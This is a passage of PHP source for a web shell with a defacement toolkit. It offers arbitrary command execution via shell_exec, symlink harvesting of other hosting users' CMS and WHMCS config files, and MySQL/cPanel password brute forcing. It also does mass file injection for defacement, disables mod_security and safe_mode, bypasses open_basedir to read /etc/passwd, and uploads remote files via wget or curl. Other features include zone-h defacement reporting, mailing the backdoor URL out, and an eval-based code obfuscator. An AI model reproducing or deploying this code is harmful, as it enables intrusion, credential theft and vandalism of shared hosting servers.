- <option value="28" >DNS attack through social engineering</option>
- <option value="29" >DNS attack through cache poisoning</option>
- <option value="30" >Not available</option>
- </select>
- <select name="reason" class="inputz" >
- <option >[+] PILIH SALAH SATU [+]</option>
- <option value="1" >Heh...just for fun!</option>
- <option value="2" >Revenge against that website</option>
- <option value="3" >Political reasons</option>
- <option value="4" >As a challenge</option>
- <option value="5" >I just want to be the best defacer</option>
- <option value="6" >Patriotism</option>
- <option value="7" >Not available</option>
- </select>
- <input type="hidden" name="action" value="zone">
- <center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains">List Of Domains</textarea>
- <br /><input class='inputzbut' type="submit" value=" >> " name="SendNowToZoneH" /><br></center></table>
- </form></td></tr></table></form>
- <!-- End Of Zone-H -->
- </td></center><br><br>
- <?php
- echo '<center>';
- ob_start();
- $sub = get_loaded_extensions();
- if(!in_array("curl", $sub)){die('[-] Curl Is Not Supported !! ');}
- $hacker = $_POST['defacer'];
- $method = $_POST['hackmode'];
- $neden = $_POST['reason'];
- $site = $_POST['domain'];
- if (empty($hacker)){die ("[-] You Must Fill the Attacker name [+] ");}
- elseif($method == "--------SELECT--------") {die("[-] You Must Select The Method !");}
- elseif($neden == "--------SELECT--------") {die("[-] You Must Select The Reason");}
- elseif(empty($site)) {die("[-] You Must Inter the Sites List ! ");}
- $i = 0;
- $sites = explode("\n", $site);
- while($i < count($sites))
- {
- if(substr($sites[$i], 0, 4) != "http") {$sites[$i] = "http://".$sites[$i];}
- ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]);
- echo "Site : ".$sites[$i]." Defaced !\n";
- ++$i;
- }
- echo "[+] Sending Sites To Zone-H Has Been Completed Successfully !! ";
- echo '</center>';
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink2'))
- {
- echo '</br></br><center><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"><br/><br/><div>';
- echo '</br></br><center><b> SCAN CONFIG SELESAI COK <br/>';
- echo '<br/><a href="anu" target="_blank">[+] CEK DISINI COK :P [+]</a></center><br/>
- <span class="b4">[~] SYMLINK II BY ANU [~]<br/><br/>
- [+] <a href="?y='.$pwd.'&x=anu1"> VAR_NAMED </a> [+]<br/><br/>
- [+] <a href="?y='.$pwd.'&x=anu2"> ETC_PASSWD </a> [+]<br/><br/>
- [+] <a href="?y='.$pwd.'&x=anu3"> ETC_NAMED.CONF </a> [+]<br/><br/>
- [+] <a href="?y='.$pwd.'&x=anu4"> ETC_VALIASES </a> [+]</span><br/><br/>
- </div></center><br/>';
- @mkdir('anu',0777);
- @symlink("/","anu/r00t");
- $kimcil = "Options all
- DirectoryIndex Sux.html
- AddType text/plain .php
- AddHandler server-parsed .php
- AddType text/plain .html
- AddHandler txt .html
- Require None
- Satisfy Any";
- file_put_contents("anu/.htaccess",$kimcil);
- $ambil = file_get_contents("/etc/passwd");
- $hasil = explode("\n",$ambil);
- ## Colok Root ##
- foreach($hasil as $bongkar){
- $etcc = explode(":",$bongkar);
- error_reporting(0);
- $current_dir = posix_getcwd();
- $dir = explode("/",$current_dir);
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp-config.php',"anu/".$etcc[0].'~WP.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/blog/wp-config.php',"anu/".$etcc[0].'~WP.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/wp/wp-config.php',"anu/".$etcc[0].'~WP.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/wp-config.php',"anu/".$etcc[0].'~WP.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/config.php',"anu/".$etcc[0].'~PhpBB.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/config.php',"anu/".$etcc[0].'~vBulletin.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/configuration.php',"anu/".$etcc[0].'~Joomla.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/web/configuration.php',"anu/".$etcc[0].'~Joomla.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/joomla/configuration.php',"anu/".$etcc[0].'~Joomla.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/site/configuration.php',"anu/".$etcc[0].'~Joomla.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/conf_global.php',"anu/".$etcc[0].'~IPB.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/inc/config.php',"anu/".$etcc[0].'~MyBB.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/Settings.php',"anu/".$etcc[0].'~SMF.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/sites/default/settings.php',"anu/".$etcc[0].'~Drupal.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/e107_config.php',"anu/".$etcc[0].'~e107.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/datas/config.php',"anu/".$etcc[0].'~Seditio.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/includes/configure.php',"anu/".$etcc[0].'~osCommerce.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/client/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientes/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/support/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/supportes/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmcs/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domain/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/hosting/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/whmc/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/billing/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/portal/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/order/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/clientarea/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- symlink('/'.$dir[1].'/'.$etcc[0].'/'.$dir[3].'/domains/configuration.php',"anu/".$etcc[0].'~WHMCS.cok');
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
- {
- echo '</br></br><center><div>
- [ <a href="?y='.$pwd.'&x=sym2"> DOMAINS & USERS & SYMLINK </a> ]<br/><br/>
- [ <a href="?y='.$pwd.'&x=sym"> DOMAINS & USERS & SYMLINK & CMS </a> ]<br/><br/>
- [ <a href="?y='.$pwd.'&x=pl"> SYMLINK PERL CONFIG </a> ]<br/><br/>
- </div></center><br/>';
- $pfile = $_POST['file'];
- $symfile = $_POST['symfile'];
- $symlink = $_POST['symlink'];
- if ($symlink)
- {
- @mkdir('sym',0777);
- $c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
- $f =@fopen ('sym/.htaccess','w');
- @fwrite($f , $c);
- @symlink("$pfile","sym/$symfile");
- echo '<br /><a target="_blank" href="sym/'.$symfile.'" >'.$symfile.'</a></center>';
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'posisi'))
- {
- //Function Begin
- function curPageURL() {
- $pageURLe = 'http';
- if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
- $pageURLe .= "://";
- if ($_SERVER["SERVER_PORT"] != "80") {
- $pageURLe .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
- } else {
- $pageURLe .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
- }
- return $pageURLe;
- }
- $votremail=$_SERVER['SERVER_ADMIN'];
- $objet='BACKDOOR SHELL';
- $message=curPageURL();
- $headers='From:'.$votremail."\r\n".'To:'.$destinataire."\r\n".'Subject:'.$objet."\r\n".'Content-type:text/plain;charset=iso-8859-1'."\r\n".'Sent:'.date('l, F d, Y H:i');
- if(mail($destinataire,$objet,$message,$headers))
- {echo "<br><center><b>CEK INBOX ATAU SPAM E-MAIL : </b><br/><p><b>[+] $destinataire [+]</b><center>";}
- else
- {
- echo "<br><center><font size=4 color=red>Erreur...</font><center>";}
- }
- else if(isset($_POST['executecmd']))
- {
- $check = shell_exec($_POST['mycmd']);
- echo "<textarea cols=120 rows=20 class=box>" . $check . "</textarea>";
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'inject'))
- {
- ?>
- <center><table id="margins" >
- <tr>
- <form method='POST'><input type="hidden" name="injector"/>
- <tr><td width="30" class="title">
- DIR : <input class="inputz" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>"/></td></tr>
- <tr><td class="title">
- Mode : <select class="inputz" name="mode" style="width:130px;">
- <option value="Apender">SEMI INJECT</option>
- <option value="Overwriter">FULL Inject</option>
- </select></td></tr>
- <tr><td class="title">
- File Type : <input type="text" class="inputz" name="filetype" value=".php" onBlur="if(this.value=='')this.value='.php';"/></td></tr>
- <tr><td colspan="2">
- <textarea name="injectthis" cols="110" rows="10" class="inputz">
- <?php echo base64_decode("PGh0bWw+DQo8aGVhZD48dGl0bGU+Li9INENLM0QgQlkgRzRudDNuRzNyejwvdGl0bGU+PC9oZWFkPg0KPGJvZHk+DQpURVJJTUEgS0FTSUggR1VFIEdBTlRFTkcgOnYNCjwvYm9keT4NCjwvaHRtbD4="); ?>
- </textarea></td></tr>
- <tr><td rowspan="2">
- <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="inputz" value=" INJECT CODE :P "/></td></tr>
- </form></table></center>
- <?php
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'bruteforce'))
- {
- $f =@fopen ('dmshell.txt','w');
- if(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
- else{
- foreach($users as $user) {
- @fwrite($f , $user);
- @fwrite($f , "\n");
- }}
- echo '<br><center><font size=3 color=green>[+] BUKA dmshell.txt <a href=dmshell.txt target=blank>_DISINI_</a> COPY & PASTE DI KOLOM USER [+]</font></center><BR>';
- ?>
- <form method="POST" target="_self">
- <input name="page" type="hidden" value="find">
- <table width="33%" cellpadding="3" cellspacing="1" align="center">
- <tr>
- <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
- <strong>User :</strong></td>
- <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="usernames"></textarea></strong></td>
- </tr>
- <tr>
- <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
- <strong>Pass :</strong></td>
- <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="passwords"></textarea></strong></td>
- </tr>
- <tr>
- <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
- <strong>Type :</strong></td>
- <td valign="top" bgcolor="#151515" colspan="5">
- <span class="style2"><strong>Simple : </strong> </span>
- <strong>
- <input class="inputz" type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
- <font class="style2"><strong>/etc/passwd : </strong> </font>
- <strong>
- <input class="inputz" type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
- </strong>
- </span>
- </td></tr>
- <tr>
- <td valign="top" bgcolor="#151515" style="width: 139px"></td>
- <td valign="top" bgcolor="#151515" colspan="5"><strong><input class="inputz" type="submit" value="_START CRACK _"></strong>
- </td><tr></form>
- <?php
- if(isset($_POST['usernames']) && isset($_POST['passwords']))
- {
- if($_POST['type'] == 'passwd'){
- $e = explode("\n",$_POST['usernames']);
- foreach($e as $value){
- $k = explode(":",$value);
- $username .= $k['0']." ";
- }
- }elseif($_POST['type'] == 'simple'){
- $username = str_replace("\n",' ',$_POST['usernames']);
- }
- $a1 = explode(" ",$username);
- $a2 = explode("\n",$_POST['passwords']);
- $id2 = count($a2);
- $ok = 0;
- foreach($a1 as $user )
- {
- if($user !== '')
- {
- $user=trim($user);
- for($i=0;$i<=$id2;$i++)
- {
- $pass = trim($a2[$i]);
- if(@mysql_connect('localhost',$user,$pass))
- {
- echo "[+] Username ( <b><font color=green>$user</font></b> ) Password ( <b><font color=green>$pass</font></b> ) [+]<br />";
- $ok++;
- }
- }
- }
- }
- echo "<hr><b>DAPAT <font color=green>$ok</font> Cpanel</b>";
- echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
- exit;
- }
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'safemodeoff'))
- {
- $file_pointer = fopen(".htaccess", "w+");
- fwrite($file_pointer, "<IfModule mod_security.c>
- SecFilterEngine Off
- SecFilterScanPOST Off
- </IfModule>");
- $file_pointer = fopen("ini.php", "w+");
- fwrite($file_pointer, "<?
- echo ini_get(\"safe_mode\");
- echo ini_get(\"open_basedir\");
- include(\$_GET[\"file\"]);
- ini_restore(\"safe_mode\");
- ini_restore(\"open_basedir\");
- echo ini_get(\"safe_mode\");
- echo ini_get(\"open_basedir\");
- include(\$_GET[\"ss\"]);
- ?>");
- $file_pointer = fopen("php.ini", "w+");
- fwrite($file_pointer, "safe_mode = Off");
- fwrite($file_pointer, "\n disable_functions = NONE");
- fclose($file_pointer);
- echo "<center>[+] Safe Mode Off Succesfully [+]</center>";
- }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')) {
- if(isset($_POST['mail_send'])) {
- $mail_to = $_POST['mail_to'];
- $mail_from = $_POST['mail_from'];
- $mail_subject = $_POST['mail_subject'];
- $mail_content = magicboom($_POST['mail_content']);
- if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")) {
- $msg = "email sent to $mail_to";
- } else $msg = "send email failed";
- }
- ?>
- <form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
- <table class="cmdbox"><tr>
- <td><textarea class="output" name="mail_content" id="cmd" style="height:340px;">DMASTERPIECE TEAM WAS HERE</textarea>
- <tr><td>EMAIL TO : <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /></td></tr>
- <tr><td>EMAIL FROM : <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /></td></tr>
- <tr><td>SUBJECT : <input class="inputz" style="width:20%;" type="text" value=" PROBLEM ?" name="mail_subject" /></td></tr>
- <tr><td> <input style="width:19%;" class="inputzbut" type="submit" value=" >> " name="mail_send"/></td></tr></form>
- <tr><td> <?php echo $msg; ?></td></tr> </table> </form>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')) {
- @ob_start();
- @eval("phpinfo();");
- $buff = @ob_get_contents();
- @ob_end_clean();
- $awal = strpos($buff,"<body>")+6;
- $akhir = strpos($buff,"</body>");
- echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
- } elseif(isset($_GET['view']) && ($_GET['view'] != "")) {
- if(is_file($_GET['view'])) {
- if(!isset($file)) $file = magicboom($_GET['view']);
- if(!$win && $posix) {
- $name=@posix_getpwuid(@fileowner($file));
- $group=@posix_getgrgid(@filegroup($file));
- $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
- } else {
- $owner = $user;
- } $filn = basename($file);
- echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
- <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
- <form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
- <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
- <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
- onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
- </form></td></tr>
- <tr><td>Size</td><td>".ukuran($file)."</td></tr>
- <tr><td>Permission</td><td>".get_perms($file)."</td></tr>
- <tr><td>Owner</td><td>".$owner."</td></tr>
- <tr><td>Create time</td>
- <td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
- <tr><td>Last modified</td>
- <td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
- <tr><td>Last accessed</td>
- <td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
- <tr><td>Actions</td>
- <td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr> </table> ";
- if(isset($_GET['type']) && ($_GET['type']=='image')) {
- echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
- } elseif(isset($_GET['type']) && ($_GET['type']=='code')) {
- echo "<div class=\"viewfile\">";
- $file = wordwrap(@file_get_contents($file),"240","\n");
- @highlight_string($file);
- echo "</div>";
- } else {
- echo "<div class=\"viewfile\">";
- echo nl2br(htmlentities((@file_get_contents($file))));
- echo "</div>";
- }
- }
- elseif(is_dir($_GET['view'])) {
- echo showdir($pwd,$prompt);
- }
- }
- elseif(isset($_GET['edit']) && ($_GET['edit'] != "")) {
- if(isset($_POST['save'])) {
- $file = $_POST['saveas'];
- $content = magicboom($_POST['content']);
- if($filez = @fopen($file,"w")) {
- $time = date("d-M-Y H:i",time());
- if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save";
- @fclose($filez);
- } else $msg = "permission denied";
- } if
- (!isset($file)) $file = $_GET['edit'];
- if($filez = @fopen($file,"r")) {
- $content = ""; while(!feof($filez)) {
- $content .= htmlentities(str_replace("''","'",fgets($filez)));
- } @
- fclose($filez);
- } ?>
- <form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
- <table class="cmdbox">
- <tr><td colspan="2"> <textarea class="output" name="content"> <?php echo $content; ?> </textarea>
- <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
- <input class="inputzbut" type="submit" value=" Save " name="save" style="width:12%;" /> <?php echo $msg; ?></td></tr>
- </table></form>
- <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')) {
- if(isset($_POST['uploadcomp'])) {
- if(is_uploaded_file($_FILES['file']['tmp_name'])) {
- $path = magicboom($_POST['path']);
- $fname = $_FILES['file']['name'];
- $tmp_name = $_FILES['file']['tmp_name'];
- $pindah = $path.$fname;
- $stat = @move_uploaded_file($tmp_name,$pindah);
- if ($stat) {
- $msg = "file uploaded to $pindah";
- } else $msg = "failed to upload $fname";
- } else $msg = "failed to upload $fname";
- } elseif(isset($_POST['uploadurl'])) {
- $pilihan = trim($_POST['pilihan']);
- $wurl = trim($_POST['wurl']);
- $path = magicboom($_POST['path']);
- $namafile = download($pilihan,$wurl);
- $pindah = $path.$namafile;
- if(is_file($pindah)) {
- $msg = "file uploaded to $pindah";
- } else $msg = "failed to upload $namafile";
- } ?>
- <form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
- <table class="tabnet" style="width:320px;padding:0 1px;">
- <tr><th colspan="2">_DMASTERPIECE_</th></tr>
- <tr><td colspan="2"><p style="text-align:center;">
- <input style="color:#000000;" type="file" name="file" />
- <input type="submit" name="uploadcomp" class="inputzbut" value=" _UPLOAD_ " style="width:80px;"></p></td>
- <tr><td colspan="2">
- <input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr></tr> </table></form>
- <table class="tabnet" style="width:320px;padding:0 1px;">
- <tr><th colspan="2">Upload From Url</th></tr>
- <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
- <table>
- <tr><td>Url : </td>
- <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.google.com"></td></tr>
- <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
- <tr><td><select size="1" class="inputz" name="pilihan">
- <option value="wwget">wget</option>
- <option value="wlynx">lynx</option>
- <option value="wfread">fread</option>
- <option value="wfetch">fetch</option>
- <option value="wlinks">links</option>
- <option value="wget">GET</option>
- <option value="wcurl">curl</option>
- </select></td>
- <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value=" _UPLOAD_ " style="width:246px;"></td></tr></form></table></td> </tr></table>
- <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'code')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=code" method="post">
- <?php
- {
- echo "<br><br><div id=result><center><b>PHP ENCODE/DECODE</b><hr />
- <form method='post'><table class=tbl>
- <tr><td>Method : <select name='typed' style='color:red; background-color:black; border:1px solid #666;'>
- <option>Encode</option><option>Decode</decode></select> </td></tr>
- <tr><td>TYPE : <select name='typenc' style='color:red; background-color:black; border:1px solid #666;'>
- <option>GZINFLATE</option><option>GZUNCOMPRESS</option><option>STR_ROT13</option></tr>
- </td>
- <tr><td>
- <textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25' name='php_content'></textarea></tr>
- </td></table><hr/><input style='color:#FF0000;background-color:#000000' type='submit' value=' >> ' /><br /><hr /><br /></form></div>";
- $meth_d=$_POST['typed'];
- $typ_d=$_POST['typenc'];
- $c_ntent=$_POST['php_content'];
- $c_ntent=$c_ntent;
- switch($meth_d)
- {
- case "Encode":
- switch($typ_d)
- {
- case "GZINFLATE":
- $res_t=base64_encode(gzdeflate(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
- $res_t="<?php eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
- break;
- case "GZUNCOMPRESS":
- $res_t=base64_encode(gzcompress(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
- $res_t="<?php eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
- break;
- case "STR_ROT13":
- $res_t=trim(stripslashes($c_ntent.' '),'<?php, ?>');
- $res_t=base64_encode(str_rot13($res_t));
- $res_t="<?php eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
- break;
- }
- break;
- case "Decode":
- switch($typ_d)
- {
- case "GZINFLATE":
- $res_t=gzinflate(base64_decode($c_ntent));
- break;
- case "GZUNCOMPRESS":
- $res_t=gzuncompress(base64_decode($c_ntent));
- break;
- case "STR_ROT13":
- $res_t=str_rot13(base64_decode($c_ntent));
- break;
- }
- break;
- }
- echo "<center><textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25'>".htmlspecialchars($res_t)."</textarea></center></div>";
- }
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=bypass" method="post">
- <?php
- set_time_limit(0);
- @mkdir('dancok',0777);
- $htcs = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
- $f =@fopen ('dancok/.htaccess','w');
- fwrite($f , $htcs);
- @symlink("/","dancok/root");
- $pg = basename(__FILE__);
- echo "<br><br><center><b>[+] This Function NEED FILE passwd.txt [+]</b><br/>
- <b>[+] Klik Eval & Go | Copy all | Create New File | Paste & Save As passwd.txt [+]<b/><br/>
- <b>[+] GO BACK ON HERE AND THEN YOU CAN FIND BYPASS [+]<b/><br/>
- <b>[+] TERIMA KASIH GUE GANTENG :P [+]<b/><center><br><br>";
- function ex($text,$a,$b){
- $explode = explode($a,$text);
- $explode = explode($b,$explode[1]);
- return $explode[0];
- }
- if(isset($_GET['file']) or @filesize('passwd.txt') > 0)
- {
- $cont = stripcslashes($_POST['file']);
- if(!file_exists('passwd.txt')){
- $f = @fopen('passwd.txt','w');
- $w = @fwrite($f,$cont);
- fclose($f);
- }
- if($w or @filesize('passwd.txt') > 0){
- echo "<table align='center' border='1' cellspacing='0' cellpadding='0' width='40%'>
- <td align='center'><b>_USERS_</b></td>
- <td align='center'><b>_SYMLINK_</b></td>";
- flush();
- $fil3 = file('passwd.txt');
- foreach ($fil3 as $f){
- $u=explode(':', $f);
- $user = $u['0'];
- echo "<tr>
- <td align='center' width='20%'>$user</td>
- <td align='center' width='20%'><a href='dancok/root/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
- flush();
- flush();
- }
- die ("</tr></div>");
- }
- }
- echo '</body></html>';
- ?>
- <?php }
- elseif(isset($_GET['x']) && ($_GET['x'] == 'open_base')){ ?>
- <form action="?y=<?php echo $pwd; ?>&x=open_base" method="post">
- <?php
- function CleanDir($d)
- {
- $d=str_replace("\\","/",$d);
- $d=str_replace("//","/",$d);
- return $d;
- }
- if(isset($_POST['curl_bypass']))
- {
- $ch=curl_init("file://$_POST[file_bypass]");
- curl_setopt($ch,CURLOPT_HEADERS,0);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
- $file_out=curl_exec($ch);
- curl_close($ch);
- echo "<textarea rows='20' style='color:#FF0000;background-color:#000000' cols='150' readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
- }
- elseif(isset($_POST['tmp_bypass']))
- {
- tempnam("/home/",$_POST['file_passwd']);
- }
- elseif(isset($_POST['copy_bypass']))
- {
- if(@copy($_POST['file_bypass'],$_POST['dest']))
- {
- echo "File successfully copied!</br>";
- @$fh=fopen($_POST['dest'],'r');
- echo "<textarea rows='20' style='color:#FF0000;background-color:#000000' cols='150' readonly>".htmlspecialchars(@fread($fh,filesize($_POST['dest'])))."</textarea></br></br>";
- @fclose($fh);
- } else echo "Failed to copy file</br>";
- }
- elseif(isset($_POST['include_bypass']))
- {
- if(file_exists($_POST['file_bypass']))
- {
- echo "<textarea style='color:#FF0000;background-color:#000000' rows='20' cols='150' readonly>";
- @include($_POST['file_bypass']);
- echo "</textarea>";
- }
- }
- elseif(isset($_POST['sql_bypass']))
- {
- extract($_SESSION);
- $conn=mysql_connect($mhost.":".$mport,$muser,$mpass);
- if($conn)
- {
- mysql_select_db($_POST['sql_db']);
- mysql_query("CREATE TABLE `$_POST[tmp_table]` (`File` TEXT NOT NULL);");
- mysql_query("LOAD DATA INFILE \"$_POST[sql_file]\" INTO TABLE $_POST[tmp_table]") or die(mysql_error());
- $res=mysql_query("SELECT * FROM $_POST[tmp_table]");
- if(mysql_num_rows($res)<1) die("Failed to retrieve file contents!");
- if($res)
- {
- while($row=mysql_fetch_array($res)) $f.="$row[0]</br>";
- echo $f;
- }
- mysql_query("DROP TABLE $_POST[tmp_table]");
- }
- }
- echo "<table style='margin: auto; width: 100%; text-align: center;'><tr><td colspan='2'>Security (open_basedir) bypassers</td></tr>
- <tr><td>Bypass using cURL</td><td>Bypass using tempnam()</td></tr>
- <tr><td><form method='post' name='bypasser'>Read file: <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'><input type='submit' name='curl_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td><td><form method='post' name='bypasser'>Write file: <input type='text' style='color:#FF0000;background-color:#000000' value='../../../etc/passwd' name='file_bypass'><input type='submit' style='color:#FF0000;background-color:#000000' name='tmp_bypass' value='Bypass'></form></td></tr>
- <tr><td>Bypass using copy()</td><td>Bypass using include()</td></tr>
- <tr><td><form method='post' name='bypasser'>Copy to: <input type='text'style='color:#FF0000;background-color:#000000' style='width: 250px;' name='dest' value='".CleanDir(getcwd())."/passwd.txt'></br> File to copy: <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'><input type='submit' name='copy_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td><td><form method='post' name='bypasser'>Path to file: <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'><input type='submit' name='include_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td></tr>
- <tr><td colspan='2'>Bypass using SQL LOAD INFILE [Login to SQL server first]</td></tr>
